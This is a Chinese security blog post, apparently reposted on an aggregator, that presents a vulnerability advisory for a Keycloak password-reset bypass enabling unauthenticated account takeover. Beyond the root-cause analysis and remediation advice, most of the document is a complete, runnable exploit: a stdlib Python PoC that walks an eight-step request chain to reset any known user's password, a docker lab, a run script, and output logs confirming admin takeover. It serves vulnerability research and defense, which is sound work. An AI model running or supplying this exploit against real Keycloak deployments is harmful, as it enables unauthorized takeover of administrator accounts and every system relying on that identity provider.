已复现POC!Keycloak重置密码绕过账号接管"

admin 2026-10-17 03:09:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

已复现POC!Keycloak 重置密码绕过账号接管

原创

一个不正经的黑客
一个不正经的黑客

一个不正经的黑客

2026年8月25日 19:16
广东

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

漏洞预警 · VULNERABILITY ADVISORY

Keycloak 重置密码流程绕过致账号接管

CVE-2026-18963

危害等级:Critical · CVSS 9.1

一句话结论

未认证攻击者可为任意已知用户名的账号重置密码,实现完全账号接管(ATO),CVSS 9.1 Critical。

一线修复:升级到 26.7.2+;临时缓解:关闭「Forgot Password」。

一漏洞背景

Keycloak 是由 Red Hat 维护的开源 IAM 平台,承担众多企业的统一登录与联邦身份认证。

其「忘记密码 / Reset Credentials」自助流程是用户在没有登录态时通过二次验证(邮件、OTP、安全问题等)重置自身密码的核心安全机制,其正确性直接关系到账号安全边界。

ProjectDiscovery 在 nuclei-templates 仓库提交了针对该缺陷的检测模板(PR #16995),并将其标识为 CVE-2026-18963;与此同时 Keycloak 社区在 GitHub Issue #51833 中披露了同一缺陷的技术细节。

该缺陷允许未认证攻击者绕过邮件验证环节,强制重置任意账号的密码,造成完全的账号接管(Account Takeover, ATO)。

在 Keycloak 常作为身份中枢的部署场景下,一旦被利用,攻击者可获取管理员等高权限账号,进而横向影响所有依赖该 IdP 的业务系统,危害尤为严重。

二漏洞概要

漏洞编号 CVE-2026-18963
危害等级 Critical(CVSS v3.1 9.1)
漏洞类型 认证逻辑绕过 / 未授权账号接管(ATO)
所需权限 无(未认证 Unauthenticated)
影响组件 Keycloak 身份与访问管理(IAM)
用户交互 无
可用性影响 低
信息来源 nuclei-templates PR #16995;Keycloak Issue #51833

核心结论

未认证攻击者可为任意已知用户名的账号重置密码,实现完全账号接管(ATO)。

利用前提

本漏洞利用需同时满足:

  1. 目标 Realm 已开启「Forgot Password」(resetPasswordAllowed = true);

  2. 攻击者已知目标用户名(如 admin)。

关键事实:该配置在 Keycloak 原版中默认关闭(非默认配置),因此官方将「关闭 Forgot Password」列为临时缓解措施。

但大量生产环境为支持用户自助重置而主动开启,现实目标中该前提普遍成立,不可轻视。

三影响版本

漏洞由社区版 Keycloak 26.0.0 的提交 6a9e60b 引入,与 Red Hat Build of Keycloak(RHBK)同源代码,因此社区公开版同样受影响。

版本线 受影响范围 首个修复
全部 26.x(社区) 26.0.0 – 26.7.1(含 main) 见下
26.7 线 26.7.0 – 26.7.1 26.7.2(已发布 Quay)
26.6 线 26.6.0 – 26.6.5 26.6.6(仅 RHBK 仓库)
26.4 线 26.4.0 – 26.4.14 26.4.15(仅 RHBK 仓库)
≤ 25.x 不受影响 —

已修复版本: 26.7.2(公开 Quay 社区镜像可用);26.6.6 / 26.4.15 为 Red Hat 专属补丁,仅 RHBK 订户从 Red Hat 仓库获取,公开 Quay 社区镜像没有这两个 tag。

现实提示: 若你跑在社区 26.4.x / 26.6.x,要么自行从对应 git tag 构建,要么直接升级到公开 26.7.2。

前置条件(开启 Forgot Password)见上方「利用前提」。

四根因分析

先打个生活化比方:「忘记密码」就像机场自助改签柜台。

正常流程是——你先刷身份证(=点邮件里的验证链接)证明是本人,柜台才让你改签。

两个缺陷,叠加成漏洞

缺陷 1 相当于把「已刷证」的牌子写成了通用的「已通过」,却没写是哪个人;缺陷 2 相当于你走到改密码窗口,柜员只看牌子、不核对本人就直接给你办了。

落到代码上,「忘记密码」是一组有序的认证执行(Authentication Execution):提交用户名 → 选择验证方式(邮件 / OTP / 安全问题)→ 验证通过 → 设置新密码。

两处实现问题链式叠加,让未认证者跳过「邮件验证」这一关键环:

缺陷 1认证选择器状态未绑定执行(AUTHENTICATION\_SELECTOR\_SCREEN\_DISPLAYED)

在「尝试其他方式(try another way)」分支里,系统把「认证选择器界面已显示」以通用字符串「true」写入认证会话,却没和具体 execution 绑定。

后果:攻击者能把流程「回退」到选择器界面,挑一条不需要邮件验证的执行路径。

...AuthenticationProcessor.java

// 选择器界面状态写入认证会话(缺陷 1 核心)

authenticationSession.setAuthNote(

AUTHENTICATION\_SELECTOR\_SCREEN\_DISPLAYED, \"true\");

// 缺陷:状态写为通用 \"true\",未绑定具体 execution

// 攻击者可借 tryAnotherWay 回退,重选一条无邮件验证的路径

缺陷 2Reset Credential Email 动作未校验令牌(ACTION\_TOKEN\_USER\_ID)

在 ResetCredentialEmail.action() 处理「设置新密码」时,代码没有校验会话里的 ACTION\_TOKEN\_USER\_ID 是否经过合法邮件令牌绑定,就直接调用 context.success() 放行。

...ResetCredentialEmail.java

// ResetCredentialEmail.action():处理“设置新密码”动作(缺陷 2 核心)

// 解析 action token 后,未校验 ACTION\_TOKEN\_USER\_ID 是否

// 经过合法的邮件验证令牌绑定,便直接放行:

context.success();   // ← 缺陷:无需拥有该账号即可改密

链式效应

缺陷 1 让攻击者操纵流程跳回选择器、避开必须验证的执行项;

缺陷 2 让攻击者即便到了「设置密码」步骤,系统也不做最终校验就批准。

两处叠加,未认证者即可为任意账号设新密码。

五攻击流程

攻击者(未认证)针对已开启 Forgot Password 的 Realm,完整利用链如下(与 nuclei 检测模板判定逻辑一致)。

先看一眼全貌:

攻击时序图 · 绕过邮件验证直接改密攻击者(未认证)Keycloak 服务端目标邮箱(被绕过)1GET /auth 抓取 Forgot Password 链接2打开 reset-credentials 表单3POST tryAnotherWay=on 进入认证选择器缺陷14POST username=victim 取得 restart 轮询路径缺陷15GET restart 路径 刷新stale 选择器状态缺陷16复用 stale 选择器 跳过邮件验证 直达设密码缺陷17POST password-new=新密码 缺陷2 直接放行缺陷28200 密码已更新9用新密码登录 账号接管成功

举个具体例子

假设目标用户名是 admin,攻击者想把它的密码改成 NewPass@2026:第 4 步 POST username=admin → 系统返回 restart 轮询路径;第 7 步攻击者带着 admin 直达设置密码页;第 8 步 POST password-new=NewPass@2026 → 因缺陷 2 直接 200 放行。

于是攻击者用 admin / NewPass@2026 登录成功,原密码 Admin123! 当场失效。

逐步拆解(与 nuclei 模板逐请求对应):

1获取入口:访问登录页 GET/realms/{realm}/protocol/openid-connect/auth,抓取「Forgot Password?」链接。

2进入重置流程:打开 reset-credentials 页面,获取 kc-reset-password-form 表单及其 action。

3触发「尝试其他方式」:提交 tryAnotherWay=on,进入认证选择器界面。

4提交目标用户名:POST username={victim},系统返回后续 restart 轮询路径。

5命中 restart 轮询路径:GET 该路径,刷新认证会话状态。

6复用过期(stale)选择器 action:再次打开 reset-credentials 页面,取回过期的 kc-select-credential-form action(状态机在此处失去约束)。

7再次提交用户名:到达设置新密码表单(kc-passwd-update-form),全程不经邮件验证门禁。

8设置新密码:POST password-new / password-confirm,服务端因缺陷 2 直接放行,密码被更新。攻击者随后即可用新密码登录。

攻击要点

整个过程不经过目标用户邮箱、无需任何先决凭据,属于纯未认证的账号接管。

六复现环境与步骤

如何一键构建复现环境

本机需 Docker 与自签证书(Keycloak 给 loopback 打 Secure Cookie,故走 HTTPS)。

只需三步,依次执行:

1拉起漏洞版 Keycloak:docker compose up -d 启动 docker-compose.yml,漏洞版 quay.io/keycloak/keycloak:26.7.1 + postgres:17-alpine。

2开启 Forgot Password + 跑 PoC:./run-lab.sh 自动登录 admin、开启「Reset Password」、执行 poc.py。

3验证修复(对照组):docker compose -f docker-compose.fixed.yml up -d 切到修复版 26.7.2 后重跑 PoC,应观察到 reset-credentials 链路失败。

环境拓扑

角色 版本 说明
Keycloak 漏洞版 26.7.1 存在缺陷(可被利用)
Keycloak 修复版 26.7.2 已修复(对照组)
PostgreSQL 17-alpine 持久化 Realm 与用户数据
自签证书 openssl 生成 Keycloak 强制 Secure Cookie,走 HTTPS 用

docker-compose.yaml(漏洞版,docker-compose.fixed.yml 仅替换 image tag 为 26.7.2)

...docker-compose.yml

CVE-2026-18963 — Vulnerable Keycloak reproduction lab (26.7.1)

Unauthenticated account takeover via reset-credentials flow bypass.

26.7.1 is the last vulnerable release before the fix in 26.7.2.

services:

postgres:

image: postgres:16

environment:

POSTGRES\_DB: keycloak

POSTGRES\_USER: keycloak

POSTGRES\_PASSWORD: keycloak

healthcheck:

test: [\"CMD-SHELL\", \"pg\_isready -U keycloak\"]

interval: 5s

timeout: 5s

retries: 20

keycloak:

image: quay.io/keycloak/keycloak:26.7.1

command: [\"start-dev\"]

environment:

KC\_DB: postgres

KC\_DB\_URL: jdbc:postgresql://postgres:5432/keycloak

KC\_DB\_USERNAME: keycloak

KC\_DB\_PASSWORD: keycloak

KC\_BOOTSTRAP\_ADMIN\_USERNAME: admin

KC\_BOOTSTRAP\_ADMIN\_PASSWORD: Admin123!

KEYCLOAK\_ADMIN: admin

KEYCLOAK\_ADMIN\_PASSWORD: Admin123!

KC\_HTTP\_ENABLED: \"true\"

KC\_HOSTNAME\_STRICT: \"false\"

KC\_HOSTNAME: localhost

KC\_HEALTH\_ENABLED: \"true\"

KC\_HTTPS\_CERTIFICATE\_FILE: /opt/keycloak/certs/cert.pem

KC\_HTTPS\_CERTIFICATE\_KEY\_FILE: /opt/keycloak/certs/key.pem

volumes:

- \"./certs:/opt/keycloak/certs:ro\"

ports:

- \"127.0.0.1:18080:8080\"

- \"127.0.0.1:18443:8443\"

depends\_on:

postgres:

condition: service\_healthy

PoC(poc.py,纯 Python 标准库实现 8 步漏洞链路,并自动核验接管结果)

...poc.py

!/usr/bin/env python3

\"\"\"

CVE-2026-18963 - Keycloak < 26.7.2 Unauthenticated Account Takeover

via reset-credentials flow bypass.

PoC reproducing the 8-step reset-credentials state-machine bypass,

mirrored from the verified nuclei template

(projectdiscovery/nuclei-templates PR #16995 / CVE-2026-18963.yaml).

Root cause (two chained bugs):

1. The \"tryAnotherWay\" handler stores the

AUTHENTICATION\_SELECTOR\_SCREEN\_DISPLAYED note as a generic \"true\"

value, NOT scoped to the execution id.

2. ResetCredentialEmail.action() calls context.success() without

verifying ACTION\_TOKEN\_USER\_ID, so the email-verification gate

can be skipped.

Stdlib-only (no third-party deps) so it runs on a stock Python.

Usage:

python3 poc.py --base http://127.0.0.1:8080 --realm master --username admin \

--old-password Admin123!

\"\"\"

import argparse

import http.cookiejar

import random

import re

import ssl

import string

import sys

import urllib.error

import urllib.parse

import urllib.request

def rand\_pw(n=16):

alphabet = string.ascii\_letters + string.digits

return \"\".join(random.choice(alphabet) for \_ in range(n))

Shared unverified SSL context (lab uses a self-signed cert)

SSL\_CTX = ssl.create\_default\_context()

SSL\_CTX.check\_hostname = False

SSL\_CTX.verify\_mode = ssl.CERT\_NONE

Global cookie jar + opener. The opener is (re)built once with an optional

upstream HTTP proxy (e.g. Burp at http://127.0.0.1:8080) so all requests

-- including the token-verification calls -- flow through it.

CJ = http.cookiejar.CookieJar()

OPENER = None

def build\_opener(proxy=None):

handlers = []

if proxy:

# Proxy URL is http://..., but the keys must be the \target\ schemes.

handlers.append(urllib.request.ProxyHandler(

{\"http\": proxy, \"https\": proxy}))

handlers.append(urllib.request.HTTPSHandler(context=SSL\_CTX))

handlers.append(urllib.request.HTTPCookieProcessor(CJ))

op = urllib.request.build\_opener(\*handlers)

op.addheaders = [

(\"User-Agent\", \"Mozilla/5.0 (CVE-2026-18963 PoC)\"),

(\"Accept\", \"text/html,application/xhtml+xml,\/\\"),

]

return op

class Client:

\"\"\"Cookie-aware HTTP client that routes through the global OPENER/proxy.\"\"\"

def request(self, method, url, raw\_body=None, headers=None):

body = raw\_body.encode() if raw\_body is not None else None

req = urllib.request.Request(url, data=body, method=method)

if headers:

for k, v in headers.items():

req.add\_header(k, v)

try:

resp = OPENER.open(req, timeout=30)

return resp.status, resp.read().decode(\"utf-8\", \"replace\")

except urllib.error.HTTPError as e:

return e.code, e.read().decode(\"utf-8\", \"replace\")

def build\_url(base, path):

path = path.replace(\"&\", \"&\")

if path.startswith(\"http://\") or path.startswith(\"https://\"):

return path

return base.rstrip(\"/\") + path

def extract(body, regex, name):

m = re.search(regex, body, re.S)

if not m:

print(f\"  [-] failed to extract: {name}\")

return None

return m.group(1)

class Exploit:

def \\_init\\_(self, base, realm, username, old\_password=None):

self.base = base.rstrip(\"/\")

self.realm = realm

self.username = username

self.old\_password = old\_password

self.new\_password = rand\_pw()

self.c = Client()

def \_form\_action\_re(self, form\_id):

# matches action=\"https?://host(/path)\" and captures the path

return rf'id=\"{form\_id}\"[^>]\action=\"https?://[^/]+(/[^\"]\)\"'

def run(self):

print(f\"[\*] Target : {self.base}/realms/{self.realm}\")

print(f\"[\*] Victim : {self.username}\")

print(f\"[\*] New password will be set to: {self.new\_password}\")

# step 1 - reach login page, find the reset-credentials link

q = urllib.parse.urlencode({

\"client\_id\": \"account\",

\"response\_type\": \"code\",

\"scope\": \"openid\",

\"redirect\_uri\": f\"{self.base}/realms/{self.realm}/account\",

})

r = self.c.request(

\"GET\",

f\"{self.base}/realms/{self.realm}/protocol/openid-connect/auth?{q}\",

)

forgot\_path = extract(r[1], r'href=\"(/[^\"]\reset-credentials[^\"]\)\"', \"forgot\_path\")

print(f\"[1] forgot\_path = {forgot\_path}\")

if not forgot\_path:

return False

# step 2 - open the reset-credentials (enter username) form

r = self.c.request(\"GET\", build\_url(self.base, forgot\_path))

reset\_action = extract(r[1], self.\_form\_action\_re(\"kc-reset-password-form\"),

\"reset\_form\_action\")

print(f\"[2] reset\_form\_action = {reset\_action}\")

if not reset\_action:

return False

# step 3 - trigger \"try another way\"

r = self.c.request(

\"POST\", build\_url(self.base, reset\_action),

raw\_body=\"tryAnotherWay=on\",

headers={\"Content-Type\": \"application/x-www-form-urlencoded\"},

)

selector\_action = extract(r[1], self.\_form\_action\_re(\"kc-select-credential-form\"),

\"selector\_form\_action\")

print(f\"[3] selector\_form\_action = {selector\_action}\")

if not selector\_action:

return False

# step 4 - submit the username -> obtain restart polling path

r = self.c.request(

\"POST\", build\_url(self.base, selector\_action),

raw\_body=f\"username={self.username}\",

headers={\"Content-Type\": \"application/x-www-form-urlencoded\"},

)

restart\_path = extract(r[1], r'startSessionPolling\(\s\*\"\'[\"\']',

\"restart\_path\")

print(f\"[4] restart\_path = {restart\_path} (status {r[0]})\")

if not restart\_path:

return False

# step 5 - hit the restart polling path

r = self.c.request(\"GET\", build\_url(self.base, restart\_path))

print(f\"[5] restart path status = {r[0]}\")

# step 6 - re-open reset-credentials, grab the STALE selector action

r = self.c.request(\"GET\", build\_url(self.base, forgot\_path))

if \"kc-select-credential-form\" not in r[1]:

print(\"[6] kc-select-credential-form NOT present -> target not exploitable\")

return False

stale\_action = extract(r[1], self.\_form\_action\_re(\"kc-select-credential-form\"),

\"stale\_selector\_action\")

print(f\"[6] stale\_selector\_action = {stale\_action}\")

if not stale\_action:

return False

# step 7 - submit username again -> reach the password update form (no email gate)

r = self.c.request(

\"POST\", build\_url(self.base, stale\_action),

raw\_body=f\"username={self.username}\",

headers={\"Content-Type\": \"application/x-www-form-urlencoded\"},

)

if \"kc-passwd-update-form\" not in r[1]:

print(\"[7] kc-passwd-update-form NOT present -> bypass failed\")

return False

update\_action = extract(r[1], self.\_form\_action\_re(\"kc-passwd-update-form\"),

\"update\_action\")

print(f\"[7] update\_action = {update\_action}\")

if not update\_action:

return False

# step 8 - set the new password (allow\_redirects=false -> expect 302)

r = self.c.request(

\"POST\", build\_url(self.base, update\_action),

raw\_body=f\"password-new={self.new\_password}&password-confirm={self.new\_password}\",

headers={\"Content-Type\": \"application/x-www-form-urlencoded\"},

)

print(f\"[8] update password status = {r[0]}\")

if r[0] not in (200, 302):

return False

print(f\"[+] ACCOUNT TAKEOVER SUCCEEDED (password update responded HTTP {r[0]})\")

return True

def verify(self):

def token\_ok(pw):

data = urllib.parse.urlencode({

\"grant\_type\": \"password\",

\"client\_id\": \"admin-cli\",

\"username\": self.username,

\"password\": pw,

}).encode()

req = urllib.request.Request(

f\"{self.base}/realms/{self.realm}/protocol/openid-connect/token\",

data=data,

headers={\"Content-Type\": \"application/x-www-form-urlencoded\"},

)

try:

resp = OPENER.open(req, timeout=15)

return resp.status == 200 and b\"access\_token\" in resp.read()

except urllib.error.HTTPError:

return False

print(\"[\*] Verifying takeover via direct-grant (client\_id=admin-cli)...\")

new\_works = token\_ok(self.new\_password)

old\_works = token\_ok(self.old\_password) if self.old\_password else None

print(f\"    new password works : {new\_works}\")

if old\_works is not None:

print(f\"    old password works : {old\_works} (expected False after takeover)\")

return bool(new\_works)

def main():

ap = argparse.ArgumentParser(description=\"CVE-2026-18963 PoC (stdlib only)\")

ap.add\_argument(\"--base\", default=\"https://localhost:18443\")

ap.add\_argument(\"--realm\", default=\"master\")

ap.add\_argument(\"--username\", default=\"admin\")

ap.add\_argument(\"--old-password\", default=None,

help=\"initial password, used for pre/post takeover verification\")

ap.add\_argument(\"--proxy\", default=\"http://127.0.0.1:8080\",

help=\"upstream HTTP proxy (e.g. Burp). Pass \\"\\" to disable.\")

args = ap.parse\_args()

global OPENER

OPENER = build\_opener(args.proxy or None)

print(f\"[\*] Using proxy: {args.proxy or 'DIRECT'}\")

if args.old\_password:

data = urllib.parse.urlencode({

\"grant\_type\": \"password\", \"client\_id\": \"admin-cli\",

\"username\": args.username, \"password\": args.old\_password,

}).encode()

req = urllib.request.Request(

f\"{args.base}/realms/{args.realm}/protocol/openid-connect/token\",

data=data, headers={\"Content-Type\": \"application/x-www-form-urlencoded\"})

try:

pre = OPENER.open(req, timeout=15)

pre\_ok = pre.status == 200 and b\"access\_token\" in pre.read()

except urllib.error.HTTPError:

pre\_ok = False

except urllib.error.URLError as e:

pre\_ok = False

print(f\"[!] proxy/pre-check connection error: {e}\")

print(f\"[\*] pre-exploit old-password token status ok = {pre\_ok}\")

ex = Exploit(args.base, args.realm, args.username, args.old\_password)

ok = ex.run()

final = ok

if args.old\_password:

# Authoritative proof: the password actually changed.

new\_works = ex.verify()

final = bool(new\_works)

if not final:

print(\"[!] Verification FAILED: new password did not work -> exploit inconclusive\")

sys.exit(0 if final else 1)

if \\_name\\ == \"\\main\\_\":

main()

一键复现脚本(run-lab.sh:拉起环境 → 开启 Forgot Password → 跑 PoC)

...run-lab.sh

!/usr/bin/env bash

Spin up the vulnerable Keycloak lab and run the CVE-2026-18963 PoC.

The vulnerability REQUIRES the realm's \"Forgot Password\" feature to be

enabled (it is OFF by default in Keycloak, and disabling it is the

official temporary mitigation). This script enables it on the master realm.

Usage:

./run-lab.sh                          # defaults below

BASE=https://localhost:18443 ./run-lab.sh

set -euo pipefail

DIR=\"$(cd \"$(dirname \"${BASH\_SOURCE[0]}\")\" && pwd)\"

cd \"$DIR\"

BASE=\"${BASE:-https://localhost:18443}\"

REALM=\"${REALM:-master}\"

TARGET\_USER=\"${TARGET\_USER:-admin}\"

OLD\_PW=\"${OLD\_PW:-Admin123!}\"

echo \"[\*] Starting vulnerable lab (Keycloak 26.7.1 + Postgres, HTTPS on 18443)...\"

docker compose -f docker-compose.yml up -d

echo \"[\*] Waiting for Keycloak at $BASE ...\"

ready=0

for i in $(seq 1 80); do

if curl -fsk \"$BASE/realms/$REALM/.well-known/openid-configuration\" >/dev/null 2>&1; then

echo \"[+] Keycloak is ready.\"

ready=1

break

fi

sleep 3

done

if [ \"$ready\" -ne 1 ]; then

echo \"[!] Keycloak did not become ready. Check: docker compose logs keycloak\"

exit 2

fi

echo \"[\*] Enabling 'Forgot Password' (resetPasswordAllowed) on realm $REALM ...\"

TOK=$(curl -fsk -X POST \"$BASE/realms/$REALM/protocol/openid-connect/token\" \

-d \"grant\_type=password&client\_id=admin-cli&username=$TARGET\_USER&password=$OLD\_PW\" \

| python3 -c \"import sys,json;print(json.load(sys.stdin).get('access\_token',''))\")

curl -fsk -X PUT \"$BASE/admin/realms/$REALM\" \

-H \"Authorization: Bearer $TOK\" -H \"Content-Type: application/json\" \

-d '{\"resetPasswordAllowed\":true}' -w \" -> HTTP %{http\_code}\
\"

echo \"[\*] Running PoC against $BASE (realm=$REALM, user=$TARGET\_USER)...\"

run-lab uses direct connection (no Burp). For manual Burp interception, run:

python3 poc.py --base \"$BASE\" --realm \"$REALM\" --username \"$TARGET\_USER\" \

--old-password \"$OLD\_PW\"   # (defaults to --proxy http://127.0.0.1:8080)

python3 \"$DIR/poc.py\" --base \"$BASE\" --realm \"$REALM\" --username \"$TARGET\_USER\" \

--old-password \"$OLD\_PW\" --proxy \"\"

echo \"\"

echo \"[\*] To verify the fix:  docker compose down && docker compose -f docker-compose.fixed.yml up -d\"

echo \"[\*] To tear down:       docker compose down\"

真实复现结果(漏洞版 Keycloak 26.7.1 上 PoC 实跑)

...result\_vuln.txt

[\*] Using proxy: http://127.0.0.1:8080

[\*] pre-exploit old-password token status ok = False

[\*] Target : https://localhost:18443/realms/master

[\*] Victim : admin

[\*] New password will be set to: gflfqeGwlWUIguYz

[1] forgot\_path = /realms/master/login-actions/reset-credentials?client\_id=account&tab\_id=...&client\_data=...

[2] reset\_form\_action = /realms/master/login-actions/reset-credentials/...

[3] selector\_form\_action = /realms/master/login-actions/reset-credentials/...

[4] restart\_path = /realms/master/login-actions/restart/... (status 200)

[5] restart path status = 200

[6] stale\_selector\_action = /realms/master/login-actions/reset-credentials/...

[7] update\_action = /realms/master/login-actions/reset-credentials/...

[8] update password status = 200

[+] ACCOUNT TAKEOVER SUCCEEDED (password update responded HTTP 200)

[\*] Verifying takeover via direct-grant (client\_id=admin-cli)...

new password works : True

old password works : False (expected False after takeover)

对照组(同样 PoC 在修复版 Keycloak 26.7.2 上实跑:第 6 步即被拦截,无密码变更)

...result\_fixed.txt

[\*] Using proxy: http://127.0.0.1:8080

[\*] pre-exploit old-password token status ok = True

[1] forgot\_path = /realms/master/login-actions/reset-credentials?client\_id=account&tab\_id=...&client\_data=...

[2] reset\_form\_action = /realms/master/login-actions/reset-credentials/...

[3] selector\_form\_action = /realms/master/login-actions/reset-credentials/...

[4] restart\_path = /realms/master/login-actions/restart/... (status 200)

[5] restart path status = 200

[6] kc-select-credential-form NOT present -> target not exploitable

完整可运行的脚本见同目录的 poc.py、docker-compose.yml 与 run-lab.sh。

复现关键踩坑(按需排查):

1Keycloak 对 loopback 请求视为安全上下文,给 Cookie 打 Secure 标记;纯 HTTP 客户端不回传 Secure Cookie,会报 Restart login cookie not found。

2漏洞利用需先启用 resetPasswordAllowed(默认关闭;run-lab.sh 已自动开启)。

3本环境最终密码更新返回 HTTP 200 而非 nuclei 预期的 302,以「新密码可登录 / 旧密码失效」为权威判定。

4PoC 默认走 Burp 代理 http://127.0.0.1:8080;传 --proxy \"\" 可改回直连。

七修复建议

01升级(一线建议,根治)

将 Keycloak 升级到修复版本:26.7.2(26.7 线)、26.6.6(26.6 线)、26.4.15(26.4 线)或更高,且需要根据现行版本线选择对应分支的最新补丁版本。

02临时缓解(无法及时升级时降低暴露面)

立即在所有 Realm 关闭「Forgot Password」(resetPasswordAllowed = false)。

这是官方临时缓解方案,可立即阻断该漏洞的利用链路。

缺点:放弃用户自助密码重置,需提供替代的人工重置流程。

03纵深防御

启用 MFA / WebAuthn:要求重置密码前完成多因素验证;

启用 bruteforceDetection 与 failureFactor 检测:对异常密码重置行为触发告警;

网络层:在反向代理 / 网关上对 /realms/\*/login-actions/reset-credentials 做来源 / 频次限制。

04运营层面

紧急盘点所有 Keycloak 实例的版本是否落在受影响区间;

复检 Realm 上 resetPasswordAllowed、邮件验证、密码重置审计日志是否启用;

检查近期是否有异常重置密码成功事件(看 /admin/realms/{realm}/events 的事件审计,关注 UPDATE\_PASSWORD 来源)。

修复优先级

一线:升级到 26.7.2+(按版本线选补丁);

临时:关闭「Forgot Password」阻断利用链;

纵深:启用 MFA/WebAuthn + 异常检测 + 网关限频。

八免责声明

本文仅用于安全研究、漏洞分析与防御科普,旨在帮助安全与运维人员理解 CVE-2026-18963 的原理、影响及修复方式。

文中所附复现环境(docker-compose、poc.py)与步骤,均应在授权环境中进行——包括但不限于自建的隔离测试环境、或已获得书面授权的测试目标。

严禁将文中方法用于未经授权的系统、网络或账号;严禁利用该缺陷进行任何危害他人系统安全、窃取数据、破坏业务或违反法律法规的活动。

因将上述内容用于非法目的而产生的一切法律后果,由使用者自行承担,与本文作者及发布平台无关。

CVE-2026-18963 漏洞通告 · 仅供安全研究与防御参考


已复现POC!Keycloak重置密码绕过账号接管" 网络安全文章

已复现POC!Keycloak重置密码绕过账号接管"

Keycloak26.0.0至26.7.1版本存在严重漏洞CVE-2026-18963,允许未认证攻击者绕过邮件验证环节,为任意已知用户名的账号重置密码,实现完全账号接管(ATO),CVSS评分9.1。根因是认证选择器状态未绑定执行与重置密码动作未校验令牌两处缺陷叠加。建议立即升级至26.7.2+或临时关闭忘记密码功能。
GhostDeskChrome间谍扩展:假CCleaner、RuntimeBroker劫持与浏览器窃密" 网络安全文章

GhostDeskChrome间谍扩展:假CCleaner、RuntimeBroker劫持与浏览器窃密"

GhostDesk攻击链结合nativeWindowsloader与Chrome扩展间谍软件。用户从仿冒CCleaner网站下载恶意exe后,通过CScript启动多阶段脚本,替换runtimebroker.dll并修改ChromeSecurityExtension的manifest.json,注入content.js和background.js实现键盘记录、凭证窃取、剪贴板劫持及cookie窃取。攻击者使用DuckDNS域名作为C2,并利用本地WebSocketrelay。检测需关注跨层链路,包括文件监
LightSpy:72台服务器的监控即服务帝国" 网络安全文章

LightSpy:72台服务器的监控即服务帝国"

LightSpy已从APT工具演变为产品化监控平台SurveillanceasaService。研究通过SSL证书指纹将已知C2从1台扩展到117台服务器。平台支持70+插件覆盖iOS、Android、Windows、macOS、Linux和路由器。操作面板暴露多租户架构含demo和计费层级。通过面板中开发者遗留的炸鸡外卖订单完成部分归因。建议检查MikroTik路由器固件和计划脚本。
评论:0   参与:  0